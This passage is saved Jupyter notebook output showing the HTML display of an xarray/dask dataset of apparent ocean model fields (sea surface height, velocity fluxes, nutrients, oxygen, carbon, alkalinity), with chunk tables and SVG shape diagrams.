x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text x=\"45.412617\" y=\"12.706308\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-d788b36f-a3fd-409e-9f4a-f28628d51609' class='xr-var-data-in' type='checkbox'><label for='data-d788b36f-a3fd-409e-9f4a-f28628d51609' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>sea surface height</dd><dt><span>units :</span></dt><dd>m</dd></dl></div><div class='xr-var-data'><pre>array([[[-0.4968735 , -0.48102024, -0.45140022, ..., -0.21179885,\n", " -0.2323978 , -0.27174047],\n", " [-0.50208086, -0.48845944, -0.4642659 , ..., -0.22339629,\n", " -0.24253824, -0.2753201 ],\n", " [-0.4770668 , -0.4681472 , -0.45971772, ..., -0.22425258,\n", " -0.24323115, -0.27386117],\n", " ...,\n", " [-0.67065454, -0.667637 , -0.66417253, ..., -0.91281706,\n", " -0.9186981 , -0.9199093 ],\n", " [-0.6729749 , -0.67039496, -0.66740495, ..., -0.9283859 ,\n", " -0.9280182 , -0.9256133 ],\n", " [-0.6754947 , -0.6731931 , -0.6705358 , ..., -0.92978585,\n", " -0.9299173 , -0.93009895]]], dtype=float32)</pre></div></li><li class='xr-var-item'><div class='xr-var-name'><span>ubar</span></div><div class='xr-var-dims'>(ocean_time, eta_rho, xi_u)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 102, 101), meta=np.ndarray&gt;</div><input id='attrs-f791e6c0-9910-4057-9c2c-05a96d478022' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-f791e6c0-9910-4057-9c2c-05a96d478022' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-93304e2d-ca30-4249-89c0-5c4b4d2d506f' class='xr-var-data-in' type='checkbox'><label for='data-93304e2d-ca30-4249-89c0-5c4b4d2d506f' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>vertically integrated u-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 40.24 kiB </td>\n", " <td> 40.24 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 102, 101) </td>\n", " <td> (1, 102, 101) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 116 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"193\" height=\"184\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", 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type='checkbox'><label for='data-9ee25893-fc81-48df-824d-68dc5e65a86e' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>vertically integrated v-flux component</dd><dt><span>units :</span></dt><dd>m/s</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 40.24 kiB </td>\n", " <td> 40.24 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 101, 102) </td>\n", " <td> (1, 101, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 116 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> 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for='attrs-d33d713b-9f10-4b80-941a-cb68428430b6' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-a4dc5a6a-801d-42e3-ac8e-533f8a08027d' class='xr-var-data-in' type='checkbox'><label for='data-a4dc5a6a-801d-42e3-ac8e-533f8a08027d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic phosphate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> 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" <polygon points=\"164.20415224913495,69.20415224913495 284.20415224913495,69.20415224913495 284.20415224913495,189.20415224913495 164.20415224913495,189.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>NO3</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-269c6574-7ac8-4b5f-b39d-ca04871ab2a3' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-269c6574-7ac8-4b5f-b39d-ca04871ab2a3' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-2631b80e-16e5-4c1b-8118-ef10a6e2d0b4' class='xr-var-data-in' type='checkbox'><label for='data-2631b80e-16e5-4c1b-8118-ef10a6e2d0b4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic nitrate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", 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x2=\"164\" y2=\"189\" style=\"stroke-width:2\" />\n", " <line x1=\"284\" y1=\"69\" x2=\"284\" y2=\"189\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"164.20415224913495,69.20415224913495 284.20415224913495,69.20415224913495 284.20415224913495,189.20415224913495 164.20415224913495,189.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>SiO3</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-67a7ce90-2e76-4801-96fb-476b3e711bcc' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-67a7ce90-2e76-4801-96fb-476b3e711bcc' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-46cb08b3-5c9a-4e65-9daa-5d98508b5fac' class='xr-var-data-in' type='checkbox'><label for='data-46cb08b3-5c9a-4e65-9daa-5d98508b5fac' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved ammonia</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line 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for='data-af441739-fb61-4445-9feb-d59b093a9d49' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >1</text>\n", " <text x=\"45.412617\" y=\"12.706308\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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xlink:href='#icon-file-text2'></use></svg></label><input id='data-0b86b658-fe53-46e0-96b2-081009757a95' class='xr-var-data-in' type='checkbox'><label for='data-0b86b658-fe53-46e0-96b2-081009757a95' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>iron binding ligand</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"12.706308\" y=\"45.412617\" font-size=\"1.0rem\" font-weight=\"100\" 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type='checkbox' ><label for='attrs-f112e8ed-200d-4ff2-95b4-6c821238b10f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-2084d035-2649-4b84-a40f-8684bfd91f89' class='xr-var-data-in' type='checkbox'><label for='data-2084d035-2649-4b84-a40f-8684bfd91f89' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved oxygen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"0.0,0.0 25.412616514582485,0.0 25.412616514582485,25.412616514582485 0.0,25.412616514582485\" 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" <polygon points=\"164.20415224913495,69.20415224913495 284.20415224913495,69.20415224913495 284.20415224913495,189.20415224913495 164.20415224913495,189.20415224913495\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"224.204152\" y=\"209.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"304.204152\" y=\"129.204152\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,304.204152,129.204152)\">102</text>\n", " <text x=\"119.602076\" y=\"174.602076\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,119.602076,174.602076)\">100</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>DIC</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-14044b7e-85af-4545-a32c-76b672f5431f' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-14044b7e-85af-4545-a32c-76b672f5431f' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5c347e31-952f-4a15-baf5-c86b94f267a4' class='xr-var-data-in' type='checkbox'><label for='data-5c347e31-952f-4a15-baf5-c86b94f267a4' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"0\" y2=\"25\" style=\"stroke-width:2\" />\n", " <line x1=\"25\" y1=\"0\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", 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class='xr-var-name'><span>DIC_ALT_CO2</span></div><div class='xr-var-dims'>(ocean_time, s_rho, eta_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(1, 100, 102, 102), meta=np.ndarray&gt;</div><input id='attrs-c37a6803-b553-4005-b01a-fe7f95f31461' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c37a6803-b553-4005-b01a-fe7f95f31461' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-66cd88b9-65b7-4fd7-9e1a-200d886975b1' class='xr-var-data-in' type='checkbox'><label for='data-66cd88b9-65b7-4fd7-9e1a-200d886975b1' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved inorganic carbon, alternative CO2</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" 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class='xr-attrs'><dt><span>long_name :</span></dt><dd>alkalinity</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" 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title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>alkalinity, alternative CO2</dd><dt><span>units :</span></dt><dd>meq/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", 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id='data-4fc6d414-1cc9-4428-a2c1-d264d55d0950' class='xr-var-data-in' type='checkbox'><label for='data-4fc6d414-1cc9-4428-a2c1-d264d55d0950' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>dissolved organic carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 3.97 MiB </td>\n", " <td> 3.97 MiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (1, 100, 102, 102) </td>\n", " <td> (1, 100, 102, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 98 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"429\" height=\"239\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"0\" y1=\"0\" x2=\"25\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"0\" y1=\"25\" x2=\"25\" y2=\"25\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"0\" 